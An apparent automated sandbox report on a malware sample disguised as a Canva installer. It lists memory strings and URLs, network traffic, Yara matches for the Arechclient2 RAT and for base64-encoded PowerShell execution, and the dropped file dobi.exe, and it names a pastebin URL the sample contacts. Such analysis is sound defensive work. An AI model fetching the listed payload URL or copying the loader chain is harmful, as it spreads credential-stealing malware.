Source: is-P8KJC.tmp.1.dr	String found in binary or memory: https://chrome.google.com/webstore?hl=lv&category=theme81https://myactivity.google.com/myactivity/?u
Source: is-P8KJC.tmp.1.dr	String found in binary or memory: https://chrome.google.com/webstore?hl=lvCtrl$1
Source: is-C12V6.tmp.1.dr	String found in binary or memory: https://chrome.google.com/webstore?hl=pl&category=theme81https://myactivity.google.com/myactivity/?u
Source: is-C12V6.tmp.1.dr	String found in binary or memory: https://chrome.google.com/webstore?hl=plCtrl$1
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherEnabled
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlGreylist
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlList
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUseIeSitelist
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://chromestatus.com/features#browsers.chrome.status%3A%22Deprecated%22
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://codepen.io
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://codepen.io/onion2k/embed/preview/BGrXEO?height=300&slug-hash=BGrXEO&default-tabs=html
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://codepen.io/onion2k/pen/BGrXEO
Source: powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://coub.com/view/1awn3i
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://embed.ted.com/talks/tommy_mccall_the_simple_genius_of_a_good_graphic
Source: svchost.exe, 0000000B.00000003.2239961611.000001EFC76C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000000B.00000003.2239961611.000001EFC76C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gfycat.com/GraveJovialChital
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gfycat.com/ifr/GraveJovialChital
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://giphy.com/embed/3ohhwznSVuwXu6RnEY/twitter/iframe
Source: powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/focus-trap/tabbable/blob/master/LICENSE
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://itunes.apple.com/au/album/deluxe/1193700802
Source: 9VbeqQbgU4.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://media.giphy.com/media/3ohhwznSVuwXu6RnEY/giphy.gif
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mel549.typeform.com/to/MH7W1Y
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://myactivity.google.com/
Source: powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000000B.00000003.2239961611.000001EFC76C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.11.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/embed/track/5b88tNINg4Q4nrRbrCXUmg
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/track/5b88tNINg4Q4nrRbrCXUmg?si=7ZYsLXjHQfaW7xq98gk39Q
Source: is-P8KJC.tmp.1.dr	String found in binary or memory: https://passwords.google.comGoogle
Source: is-C12V6.tmp.1.dr	String found in binary or memory: https://passwords.google.comKonta
Source: MSBuild.exe, 00000011.00000002.2663039648.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/cLika3dt
Source: MSBuild.exe, 00000011.00000002.2663039648.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/cLika3dtPOkq9
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com/video/271228005?byline=0&badge=0&portrait=0&title=0
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com/video/314182905?byline=0&badge=0&portrait=0&title=0
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com/video/314182918?byline=0&badge=0&portrait=0&title=0
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com/video/316458419?byline=0&badge=0&portrait=0&title=0
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://policies.google.com/
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://soundcloud.com/yigitcanbal/bob-marley-dont-worry-be-happy
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicon-1.ico
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_default.svg
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_docs.svg
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_presentations.svg
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_print.svg
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_sites.svg
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_social_media.svg
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_video.svg
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_whiteboards.svg
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://support.google.com/chrome/a/answer/9122284
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://support.google.com/chrome/answer/6098869
Source: is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	String found in binary or memory: https://support.google.com/chromebook?p=app_intent
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vimeo.com/271228005
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vimeo.com/314182905
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vimeo.com/314182918
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://vimeo.com/316458419
Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010EA000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: https://vovsoft.com/blog/credits-and-acknowledgements/H
Source: powershell.exe, 00000005.00000002.2333840667.000000000AA5A000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F717C8C000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2191379305.0000000000CF8000.00000002.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.0000000001119000.00000020.00000001.01000000.00000011.sdmp	String found in binary or memory: https://vovsoft.com/translation/
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w.soundcloud.com/player/?visual=true&url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F11584106
Source: 9VbeqQbgU4.exe, 00000000.00000003.2506503962.00000000025C3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.canva.com
Source: 9VbeqQbgU4.exe, 00000000.00000003.2506503962.00000000025D1000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000001.00000003.2493917798.00000000028F1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.canva.com/download
Source: 9VbeqQbgU4.exe, 00000000.00000003.2506503962.00000000025A6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.canva.com/help
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2493917798.00000000028E3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.canva.comQ9
Source: dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.flickr.com/photos/japveloso/6810496891/
Source: is-P8KJC.tmp.1.dr	String found in binary or memory: https://www.google.com/chrome/privacy/eula_text.htmlP&al
Source: is-C12V6.tmp.1.dr	String found in binary or memory: https://www.google.com/chrome/privacy/eula_text.htmlPomo&cZarz
Source: MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 9VbeqQbgU4.exe, 00000000.00000003.1678083885.0000000002A60000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.exe, 00000000.00000003.1678498917.000000007EFBB000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000001.00000000.1680042613.0000000000321000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/p/BSMaDhvFcFl/
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/p/CL_iF6UpAYo/
Source: powershell.exe, 00000005.00000002.2333840667.000000000AA5A000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F717C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.karenware.com/powertools/ptwhois0
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pinterest.com.au/pin/843369467696424285/
Source: 9VbeqQbgU4.exe, 00000000.00000003.1678083885.0000000002A60000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.exe, 00000000.00000003.1678498917.000000007EFBB000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000001.00000000.1680042613.0000000000321000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.remobjects.com/ps
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ted.com/talks/tommy_mccall_the_simple_genius_of_a_good_graphic
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/embed/3FZGN7BCs6k?rel=0&showinfo=0&start=13
Source: 9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/watch?v=3FZGN7BCs6k&t=13s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49793 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_1744.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 15.2.more.com.56100c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 17.2.MSBuild.exe.770000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 15.2.more.com.56100c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 9.2.more.com.55800c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 9.2.more.com.55800c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1744, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\jotnemib, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\kdtvqgf, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe

Jump to dropped file

Contains functionality to call native functions

Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe

Code function: 8_2_0049446E NtQuerySystemInformation,

8_2_0049446E

Detected potential crypto function

Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Code function: 8_2_00497E91	8_2_00497E91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2C880	12_2_02D2C880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D21070	12_2_02D21070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2B01F	12_2_02D2B01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2D110	12_2_02D2D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D215E0	12_2_02D215E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_02D2BD78	12_2_02D2BD78
